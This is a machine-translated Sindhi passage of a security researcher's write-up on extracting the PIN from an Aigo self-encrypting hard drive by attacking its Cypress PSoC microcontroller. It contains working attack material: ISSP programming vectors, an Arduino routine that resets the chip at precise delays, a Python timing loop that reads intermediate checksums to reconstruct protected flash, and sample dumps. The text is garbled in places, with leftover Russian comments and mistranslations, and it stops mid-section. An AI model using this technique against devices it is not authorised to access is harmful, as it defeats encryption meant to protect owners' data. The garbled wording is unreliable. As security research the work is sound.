ريورسنگ ۽ هيڪنگ Aigo خود انڪرپٽنگ خارجي HDD ڊرائيو. حصو 2: سائپرس PSoC کان ڊمپ کڻڻ

هي ٻيو ۽ آخري حصو آهي مضمون جو هيڪنگ خارجي خود انڪرپٽنگ ڊرائيو بابت. مان توهان کي ياد ڏيان ٿو ته هڪ ساٿي تازو مون کي هڪ محب وطن (Aigo) SK8671 هارڊ ڊرائيو کڻي آيو، ۽ مون ان کي ريورس ڪرڻ جو فيصلو ڪيو، ۽ هاڻي مان حصيداري ڪري رهيو آهيان ان مان ڇا نڪتو. وڌيڪ پڙهڻ کان اڳ، ضرور پڙهو پهريون حصو مضمون.

4. اسان اندروني PSoC فليش ڊرائيو مان ڊمپ وٺڻ شروع ڪريون ٿا
5. آئي ايس ايس پي پروٽوڪول
- 5.1. ISSP ڇا آهي
- 5.2. Demystifying Vectors
- 5.3. PSoC سان رابطو
- 5.4. آن-چپ رجسٽرن جي سڃاڻپ
- 5.5. سيڪيورٽي بٽس
6. پهريون (ناڪام) حملو: ROMX
7. ٻيو حملو: کولڊ بوٽ ٽريڪنگ
- 7.1. عمل درآمد
- 7.2. نتيجو پڙهڻ
- 7.3. فليش بائنري جي تعمير
- 7.4. پن ڪوڊ اسٽوريج ايڊريس ڳولڻ
- 7.5. بلاڪ نمبر 126 جو ڍير کڻڻ
- 7.6. پن ڪوڊ جي بحالي
8. اڳتي ڇا آهي؟
9. نتيجو

ريورسنگ ۽ هيڪنگ Aigo خود انڪرپٽنگ خارجي HDD ڊرائيو. حصو 2: سائپرس PSoC کان ڊمپ کڻڻ


4. اسان اندروني PSoC فليش ڊرائيو مان ڊمپ وٺڻ شروع ڪريون ٿا

تنهن ڪري، هر شي ظاهر ڪري ٿو (جيئن اسان [پهريون حصو] ()) ۾ قائم ڪيو آهي ته PIN ڪوڊ PSoC جي فليش کوٽائي ۾ ذخيرو ٿيل آهي. تنهن ڪري، اسان کي انهن فليش جي کوٽائي کي پڙهڻ جي ضرورت آهي. ضروري ڪم جي سامهون:

  • microcontroller سان "ڪميونيڪيشن" جو ڪنٽرول وٺو؛
  • چيڪ ڪرڻ جو هڪ طريقو ڳوليو ته ڇا هي "مواصلات" ٻاهران پڙهڻ کان محفوظ آهي؛
  • تحفظ کان پاسو ڪرڻ جو رستو ڳوليو.

اتي ٻه جڳھون آھن جتي صحيح پن ڪوڊ ڳولڻ جو احساس ٿئي ٿو:

  • اندروني فليش ياداشت؛
  • SRAM، جتي پن ڪوڊ محفوظ ڪري سگھجي ٿو ان کي صارف پاران داخل ڪيل پن ڪوڊ سان موازنہ ڪرڻ لاءِ.

اڳتي ڏسندي، مان نوٽ ڪندس ته مان اڃا تائين اندروني PSoC فليش ڊرائيو جو ڊمپ کڻڻ ۾ ڪامياب ٿي چڪو آهيان - هارڊويئر حملي کي استعمال ڪندي ان جي حفاظتي نظام کي پاسو ڪندي "ڪولڊ بوٽ ٽريڪنگ" - ISSP پروٽوڪول جي غير دستاويزي صلاحيتن کي رد ڪرڻ کان پوءِ. هن مون کي سڌو سنئون اصل پن ڪوڊ ڊمپ ڪرڻ جي اجازت ڏني.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

پروگرام جو آخري ڪوڊ:

5. آئي ايس ايس پي پروٽوڪول

5.1. ISSP ڇا آهي

"ڪميونيڪيشن" هڪ مائڪرو ڪنٽرولر سان مختلف شين جو مطلب ٿي سگهي ٿو: "وينڊر کان وينڊر" تائين هڪ سيريل پروٽوڪول استعمال ڪندي رابطي تائين (مثال طور، مائڪروچپ جي PIC لاءِ ICSP).

سائپرس وٽ ان لاءِ پنهنجو ذاتي پروٽوڪول آهي، جنهن کي ISSP (ان-سسٽم سيريل پروگرامنگ پروٽوڪول) سڏيو ويندو آهي، جنهن ۾ جزوي طور بيان ڪيل آهي. ٽيڪنيڪل وضاحت. پيٽنٽ US7185162 ڪجهه معلومات پڻ ڏئي ٿو. اتي پڻ ھڪڙو OpenSource برابر آھي جنھن کي HSSP سڏيو ويندو آھي (اسان ان کي ٿوري دير بعد استعمال ڪنداسين). ISSP هن ريت ڪم ڪري ٿو:

  • PSoC ريبوٽ ڪريو؛
  • هن PSoC جي سيريل ڊيٽا پن کي جادو نمبر ڪڍيو؛ خارجي پروگرامنگ موڊ ۾ داخل ٿيڻ؛
  • حڪم موڪليندا آھن، جيڪي ڊگھا سا تار آھن جن کي "ویکٹر" سڏيو ويندو آھي.

ISSP دستاويز انهن ویکٹرن کي صرف ٿورڙي مٿئين حڪمن لاءِ بيان ڪري ٿو:

  • شروع ڪريو-1
  • شروع ڪريو-2
  • شروعاتي-3 (3V ۽ 5V اختيارن)
  • ID-SETUP
  • READ-ID-WORD
  • SET-BLOCK-NUM: 10011111010dddddd111، جتي dddddddd=block #
  • بلڪ ايريس
  • پروگرام- بلاڪ
  • تصديق ڪريو- سيٽ اپ
  • READ-BYTE: 10110aaaaaZDDDDDDDZ1، جتي DDDDDDDD = ڊيٽا ٻاهر، aaaaaa = پتو (6 بٽ)
  • WRITE-BYTE: 10010aaaaaddddddd111، جتي dddddddd = ڊيٽا ان ۾، aaaaaa = پتو (6 بٽ)
  • سيڪنڊ
  • چيڪسم-سيٽ اپ
  • READ-CHECSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1، جتي DDDDDDDDDDDDDDDDD = ڊيٽا آئوٽ: ڊوائيس چيڪسم
  • بلاڪ کي ختم ڪريو

مثال طور، شروعات-2 لاءِ ویکٹر:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

سڀني ويڪٽرن جي ڊيگهه ساڳي آهي: 22 بٽ. HSSP دستاويزن ۾ ISSP تي ڪجهه اضافي معلومات آهي: “هڪ ISSP ویکٹر ڪجهه به نه آهي ٿورو تسلسل جيڪو هدايتن جي هڪ سيٽ جي نمائندگي ڪري ٿو.”

5.2. Demystifying Vectors

اچو ته سمجهون ته هتي ڇا ٿي رهيو آهي. شروعات ۾، مون سمجهيو ته اهي ساڳيا ویکٹر M8C هدايتن جا خام نسخا هئا، پر هن مفروضي کي جانچڻ کان پوءِ، مون دريافت ڪيو ته آپريشن جا اپڪوڊس نه ٿا ملن.

پوءِ مون مٿي ڏنل ویکٹر کي گوگل ڪيو ۽ ڀر ۾ آيو هي هڪ مطالعو جتي ليکڪ، جيتوڻيڪ هو تفصيل ۾ نه ٿو وڃي، ڪجهه مفيد مشورا ڏئي ٿو: ”هر هدايت ٽن بِٽن سان شروع ٿئي ٿي جيڪي چار يادگيرين مان هڪ سان ملن ٿيون (ريم کان پڙهو، رام ڏانهن لکو، رجسٽر پڙهو، رجسٽر لکو). پوءِ اتي 8 ايڊريس بِٽ آھن، ان کان پوءِ 8 ڊيٽا بِٽ (پڙھڻ يا لکڻ) ۽ آخر ۾ ٽي اسٽاپ بِٽ.

پوءِ مان سپروائيزري روم (SROM) سيڪشن مان ڪجھ تمام مفيد معلومات گڏ ڪرڻ جي قابل ٿيس. ٽيڪنيڪل دستياب. SROM PSoC ۾ هڪ هارڊ ڪوڊ ٿيل ROM آهي جيڪو يوٽيلٽي فنڪشن مهيا ڪري ٿو (ساڳئي طريقي سان Syscall) پروگرام ڪوڊ لاءِ يوزر اسپيس ۾ هلندڙ:

  • 00h:SWBootReset
  • 01h: ReadBlock
  • 02h: WriteBlock
  • 03h: EraseBlock
  • 06h: ٽيبل ريڊ
  • 07h: چيڪ سم
  • 08h: Calibrate0
  • 09h: Calibrate1

ویکٹر جي نالن کي SROM افعال سان ڀيٽڻ سان، اسان مختلف عملن کي نقشي ڪري سگھون ٿا جيڪي ھن پروٽوڪول جي مدد سان متوقع SROM پيرا ميٽرز سان. انهي جي مهرباني، اسان ISSP ویکٹر جي پهرين ٽن بٽ کي ڊيڪوڊ ڪري سگهون ٿا:

  • 100 => ”ويرم“
  • 101 => "rdmem"
  • 110 => ”ورگ“
  • 111 => "rdreg"

بهرحال، آن-چپ جي عملن جي مڪمل سمجھ صرف PSoC سان سڌي رابطي ذريعي حاصل ڪري سگھجي ٿي.

5.3. PSoC سان رابطو

جيئن ته Dirk Petrautsky اڳ ۾ ئي آهي بند ٿيل سائپرس جو HSSP ڪوڊ Arduino تي، مون ڪيبورڊ بورڊ جي ISSP هيڊر سان ڳنڍڻ لاءِ Arduino Uno استعمال ڪيو.

مهرباني ڪري نوٽ ڪريو ته منهنجي تحقيق جي دوران، مون ڊرڪ جي ڪوڊ کي تبديل ڪيو. توھان ڳولي سگھوٿا منھنجي تبديلي GitHub تي: هتي ۽ لاڳاپيل Python اسڪرپٽ Arduino سان رابطي لاءِ، منهنجي مخزن ۾ cypress_psoc_tools.

تنهن ڪري، Arduino استعمال ڪندي، مون پهريون ڀيرو "مواصلاتي" لاء صرف "سرڪاري" ویکٹر استعمال ڪيو. مون VERIFY حڪم استعمال ڪندي اندروني ROM پڙهڻ جي ڪوشش ڪئي. جيئن توقع ڪئي وئي، مان اهو ڪرڻ کان قاصر هو. شايد حقيقت اها آهي ته پڙهڻ جي حفاظت بٽ کي فليش ڊرائيو اندر چالو ڪيو ويو آهي.

ان کان پوءِ مون پنهنجا ڪجھ سادو ویکٹر ٺاهيا آهن لکڻ ۽ پڙهڻ لاءِ ميموري/رجسٽرز. مهرباني ڪري نوٽ ڪريو ته اسان مڪمل SROM پڙهي سگهون ٿا جيتوڻيڪ فليش ڊرائيو محفوظ آهي!

5.4. آن-چپ رجسٽرن جي سڃاڻپ

ڏسڻ کان پوءِ ”جڙيل“ ویکٹرز، مون دريافت ڪيو ته ڊوائيس غير دستاويزي رجسٽر (0xF8-0xFA) استعمال ڪري ٿي M8C اوپيڪوڊ کي بيان ڪرڻ لاءِ، جيڪي سڌو سنئون عمل ۾ اچن ٿيون، تحفظ کي پاس ڪندي. هن مون کي اجازت ڏني ته مختلف آپڊ ڪوڊ هلائڻ جهڙوڪ "ADD"، "MOV A، X"، "PUSH" يا "JMP". انهن جي مهرباني (رجسٽرن تي اهي ضمني اثرات ڏسڻ سان) مان اهو طئي ڪرڻ جي قابل ٿيس ته ڪهڙا غير دستاويزي رجسٽر اصل ۾ باقاعده رجسٽر هئا (A, X, SP ۽ PC).

نتيجي طور، HSSP_disas.rb ٽول پاران ٺاهيل ”جدا ٿيل“ ڪوڊ هن طرح نظر اچي ٿو (مون وضاحت لاءِ تبصرا شامل ڪيا):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. سيڪيورٽي بٽس

هن مرحلي تي آئون اڳ ۾ ئي PSoC سان رابطو ڪري سگهان ٿو، پر مون کي اڃا تائين فليش ڊرائيو جي سيڪيورٽي بٽس بابت قابل اعتماد معلومات نه آهي. مون کي ان حقيقت کان ڏاڍي حيرت ٿي ته سائپريس ڊوائيس جي استعمال ڪندڙ کي ڪنهن به وسيلا سان مهيا نه ڪندو آهي ته ڇا تحفظ چالو آهي. مون گوگل ۾ وڌيڪ ڳوڙها ڳاڙيا آخرڪار اهو سمجهڻ لاءِ ته سائپرس پاران مهيا ڪيل HSSP ڪوڊ ڊيرڪ پاران جاري ڪيل ترميم کانپوءِ اپڊيٽ ڪيو ويو. ۽ ائين! هي نئون ویکٹر ظاهر ٿيو آهي:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

هن ویکٹر کي استعمال ڪندي (psoc.py ۾ read_security_data ڏسو)، اسان SRAM ۾ 0x80 تي سڀ حفاظتي بٽ حاصل ڪندا آهيون، جتي هر محفوظ بلاڪ ۾ ٻه بٽ هوندا آهن.

نتيجو مايوس ڪندڙ آهي: هر شي محفوظ ڪئي وئي آهي "خارجي پڙهڻ ۽ لکڻ" موڊ ۾. تنهن ڪري، نه رڳو اسان فليش ڊرائيو مان ڪجھ به نه پڙهي سگهون ٿا، پر اسان ڪجهه به نه لکي سگهون ٿا (مثال طور، اتي هڪ ROM ڊمپر نصب ڪرڻ). ۽ تحفظ کي غير فعال ڪرڻ جو واحد رستو مڪمل طور تي پوري چپ کي ختم ڪرڻ آهي. 🙁

6. پهريون (ناڪام) حملو: ROMX

بهرحال، اسان هيٺ ڏنل چال کي آزمائي سگهون ٿا: جيئن ته اسان وٽ صوابديدي آپڊ ڪوڊس کي عمل ڪرڻ جي صلاحيت آهي، ڇو نه ROMX تي عمل ڪيو وڃي، جيڪو فليش ميموري پڙهڻ لاء استعمال ڪيو ويندو آهي؟ اهو طريقو ڪاميابي جو هڪ سٺو موقعو آهي. ڇاڪاڻ ته ReadBlock فنڪشن جيڪو SROM مان ڊيٽا پڙهي ٿو (جيڪو ویکٹر پاران استعمال ڪيو ويندو آهي) چيڪ ڪري ٿو ته ڇا اهو ISSP کان سڏيو وڃي ٿو. بهرحال، ROMX opcode شايد شايد اهڙي چيڪ نه هجي. تنهن ڪري هتي پٿون ڪوڊ آهي (ڪجهه مددگار ڪلاس شامل ڪرڻ کان پوءِ Arduino ڪوڊ ۾):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

بدقسمتي سان هي ڪوڊ ڪم نٿو ڪري. 🙁 يا بلڪه اهو ڪم ڪري ٿو، پر آئوٽ پٽ تي اسان حاصل ڪندا آهيون پنهنجا اپڪوڊس (0x28 0x30 0x40)! مان نه ٿو سمجهان ته ڊوائيس جي لاڳاپيل ڪارڪردگي پڙهڻ جي حفاظت جو هڪ عنصر آهي. هي وڌيڪ هڪ انجنيئرنگ ٽرڪ وانگر آهي: جڏهن خارجي آپڊڊس تي عمل ڪندي، ROM بس کي عارضي بفر ڏانهن منتقل ڪيو ويندو آهي.

7. ٻيو حملو: کولڊ بوٽ ٽريڪنگ

جيئن ته ROMX چال ڪم نه ڪيو، مون هن چال جي هڪ ٻي تبديلي بابت سوچڻ شروع ڪيو - اشاعت ۾ بيان ڪيل "Microcontroller جي Firmware Protection تي تمام گهڻي روشني وجهڻ".

7.1. عمل درآمد

ISSP دستاويز CHECKSUM-SETUP لاءِ ھيٺ ڏنل ویکٹر مهيا ڪري ٿو:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

اهو بنيادي طور تي سڏي ٿو SROM فنڪشن 0x07، جيئن دستاويز ۾ پيش ڪيو ويو آهي (اطالوي مائن):

هن فنڪشن checksum جي تصديق. اهو حساب ڪري ٿو هڪ 16-بٽ چيڪسم جو استعمال ڪندڙ جي مخصوص بلاڪن جي تعداد جو هڪ فليش بئنڪ ۾، صفر کان شروع ٿئي ٿو. BLOCKID پيٽرولر بلاڪ جي تعداد کي پاس ڪرڻ لاء استعمال ڪيو ويندو آهي جيڪو استعمال ڪيو ويندو جڏهن چيڪسم جي حساب سان. "1" جو قدر صرف بلاڪ صفر لاءِ چيڪسم کي حساب ڏيندو. جڏهن ته "0" فليش بئنڪ جي سڀني 256 بلاڪن جي ڪل چيڪسم کي ڳڻڻ جو سبب بڻائيندو. 16-bit چيڪسم KEY1 ۽ KEY2 ذريعي واپس ڪيو ويو آهي. KEY1 پيٽرولر ذخيرو ڪري ٿو گھٽ-آرڊر 8 بٽس چيڪسم جي، ۽ KEY2 پيٽرولر اعلي-آرڊر 8 بٽس کي ذخيرو ڪري ٿو. ڪيترن ئي فليش بينڪن سان ڊوائيسز لاء، چيڪسم فنڪشن کي سڏيو ويندو آهي هر هڪ لاء الڳ الڳ. بينڪ نمبر جنهن سان اهو ڪم ڪندو اهو FLS_PR1 رجسٽر طرفان مقرر ڪيو ويو آهي (ان ۾ بٽ سيٽ ڪندي ٽارگيٽ فليش بئنڪ سان لاڳاپيل).

نوٽ ڪريو ته ھي ھڪڙو سادو چيڪسم آھي: بائيٽ صرف ھڪ ٻئي پٺيان شامل ڪيا ويا آھن؛ ڪو به فينسي CRC نرالو ناهي. ان کان علاوه، ڄاڻو ته M8C ڪور ۾ رجسٽرن جو تمام ننڍڙو سيٽ آهي، مون سمجهيو ته جڏهن چيڪسم کي ڳڻڻ، وچولي قدر ساڳيا متغيرن ۾ رڪارڊ ڪيا ويندا جيڪي آخرڪار ان پٽ ڏانهن ويندا: KEY1 (0xF8) / KEY2 ( 0xF9).

تنهن ڪري نظريي ۾ منهنجو حملو هن طرح نظر اچي ٿو:

  1. اسان ISSP ذريعي ڳنڍيندا آهيون.
  2. اسان CHECKSUM-SETUP ویکٹر استعمال ڪندي چيڪسم حساب شروع ڪريون ٿا.
  3. اسان هڪ مخصوص وقت کان پوءِ پروسيسر کي ريبوٽ ڪيو.
  4. اسان موجوده چيڪسم سي حاصل ڪرڻ لاءِ رام پڙهون ٿا.
  5. ورجايو 3 ۽ 4 مرحلا، هر دفعي T کي ٿورو وڌايو.
  6. اسان هڪ فليش ڊرائيو مان ڊيٽا کي بحال ڪريون ٿا اڳوڻي چيڪسم سي کي هٽائڻ سان موجوده هڪ مان.

بهرحال، اتي هڪ مسئلو آهي: Initialize-1 ویکٹر جيڪو اسان کي موڪلڻ گهرجي ريبوٽ کان پوءِ KEY1 ۽ KEY2 مٿان لکجي ٿو:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

هي ڪوڊ اسان جي قيمتي چيڪسم کي ڪليبرٽ 1 (SROM فنڪشن 9) کي ڪال ڪندي اوور رائٽ ڪري ٿو... ٿي سگهي ٿو اسان صرف پروگرامنگ موڊ ۾ داخل ٿيڻ لاءِ جادو نمبر (مٿي ڏنل ڪوڊ جي شروعات کان) موڪلي سگهون ٿا، ۽ پوءِ SRAM پڙهي سگهون ٿا؟ ۽ ها، اهو ڪم ڪري ٿو! Arduino ڪوڊ جيڪو هن حملي کي لاڳو ڪري ٿو بلڪل سادو آهي:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. checkum_delay پڙهو.
  2. چيڪسم جي حساب سان هلايو (send_checksum_v).
  3. وقت جي هڪ مخصوص مدت لاء انتظار؛ هيٺين نقصانن کي نظر ۾ رکندي:
    • مون گهڻو وقت ضايع ڪيو جيستائين مون کي معلوم ٿيو ته اهو ڇا نڪتو دير مائڪرو سيڪنڊ صرف دير سان صحيح ڪم ڪري ٿو 16383 μs کان وڌيڪ نه؛
    • ۽ پوءِ وري ساڳئي وقت کي ماريو ويو جيستائين مون دريافت ڪيو ته دير مائڪرو سيڪنڊ، جيڪڏهن 0 ان کي ان پٽ جي طور تي منظور ڪيو وڃي، مڪمل طور تي غلط ڪم ڪري ٿو!
  4. PSoC کي پروگرامنگ موڊ ۾ ريبوٽ ڪريو (اسان صرف جادو نمبر موڪليندا آهيون، شروعاتي ویکٹر موڪلڻ کان سواءِ).

Python ۾ فائنل ڪوڊ:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

مختصر ۾، هي ڪوڊ ڇا ڪندو آهي:

  1. PSoC کي ريبوٽ ڪري ٿو (۽ ان کي هڪ جادو نمبر موڪلي ٿو).
  2. مڪمل شروعاتي ویکٹر موڪلي ٿو.
  3. ڪال ڪري ٿو Arduino فنڪشن Cmnd_STK_START_CSUM (0x85)، جتي مائڪرو سيڪنڊن ۾ دير کي پيٽرولر طور منظور ڪيو ويو آهي.
  4. پڙهي ٿو چيڪسم (0xF8 ۽ 0xF9) ۽ غير دستاويزي رجسٽر 0xF1.

هي ڪوڊ 10 مائڪرو سيڪنڊن ۾ 1 ڀيرا ڪيو ويندو آهي. 0xF1 هتي شامل ڪيو ويو آهي ڇاڪاڻ ته اهو صرف رجسٽر هو جيڪو تبديل ڪيو ويو جڏهن چيڪسم جي حساب سان. شايد اهو ڪجهه قسم جو عارضي متغير آهي جيڪو رياضي منطق يونٽ پاران استعمال ڪيو ويو آهي. نوٽ ڪريو بدصورت هيڪ جيڪو آئون استعمال ڪريان ٿو آرڊينو کي ري سيٽ ڪرڻ لاءِ picocom استعمال ڪندي جڏهن Arduino بند ٿي وڃي زندگي جا نشان ڏيکارڻ (نه ڄاڻ ڇو).

7.2. نتيجو پڙهڻ

پٿون اسڪرپٽ جو نتيجو هن طرح ڏسڻ ۾ اچي ٿو (پڙهڻ جي صلاحيت لاءِ آسان):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

اهو چيو پيو وڃي، اسان وٽ هڪ مسئلو آهي: جيئن ته اسان هڪ حقيقي چيڪسم سان ڪم ڪري رهيا آهيون، هڪ نيل بائيٽ پڙهڻ جي قيمت کي تبديل نٿو ڪري. تنهن هوندي به، جيئن ته سڄي حساب ڪتاب جي عمل ۾ (8192 بائيٽ) 0,1478 سيڪنڊ لڳن ٿا (هر ڀيري ان کي هلايو وڃي ٿو معمولي تبديلين سان)، جيڪو لڳ ڀڳ 18,04 μs في بائيٽ جي برابر آهي، اسان هن وقت کي مناسب وقت تي چيڪسم جي قيمت کي جانچڻ لاءِ استعمال ڪري سگهون ٿا. پهرين رنن لاء، هر شيء بلڪل آساني سان پڙهي ويندي آهي، ڇاڪاڻ ته ڪمپيوٽر جي طريقيڪار جي مدت هميشه لڳ ڀڳ ساڳي آهي. بهرحال، هن ڊمپ جو پڄاڻي گهٽ صحيح آهي ڇو ته هر رن تي ”ننڍي وقت جي انحراف“ اهم ٿيڻ ۾ اضافو ڪري ٿو:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

اهو آهي 10 ڊمپ هر مائڪرو سيڪنڊ جي دير لاءِ. فلي ڊرائيو جي سڀني 8192 بائيٽ کي ڊمپ ڪرڻ لاء ڪل آپريٽنگ وقت اٽڪل 48 ڪلاڪ آهي.

7.3. فليش بائنري جي تعمير

مون اڃا تائين ڪوڊ لکڻ مڪمل نه ڪيو آهي جيڪو مڪمل طور تي فليش ڊرائيو جي پروگرام ڪوڊ کي ٻيهر ٺاهيندو، هر وقت جي انحراف کي حساب ۾ رکندي. بهرحال، مون پهريان ئي هن ڪوڊ جي شروعات کي بحال ڪيو آهي. پڪ ڪرڻ لاءِ ته مون اهو صحيح طريقي سان ڪيو، مون ان کي m8cdis استعمال ڪندي ڌار ڪيو:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

لڳي ٿو ڪافي قابل اعتبار!

7.4. پن ڪوڊ اسٽوريج ايڊريس ڳولڻ

هاڻي ته اسان چيڪسم کي پڙهي سگهون ٿا وقت تي اسان کي ضرورت آهي، اسان آساني سان چيڪ ڪري سگهون ٿا ته اهو ڪيئن ۽ ڪٿي تبديل ٿئي ٿو جڏهن اسان:

  • غلط پن ڪوڊ داخل ڪريو؛
  • پن ڪوڊ تبديل ڪريو.

پهرين، تقريبن اسٽوريج ايڊريس ڳولڻ لاء، مون ريبوٽ کان پوء 10 ms واڌ ۾ چيڪسم ڊمپ ورتو. پوءِ مون غلط پن داخل ڪيو ۽ ائين ئي ڪيو.

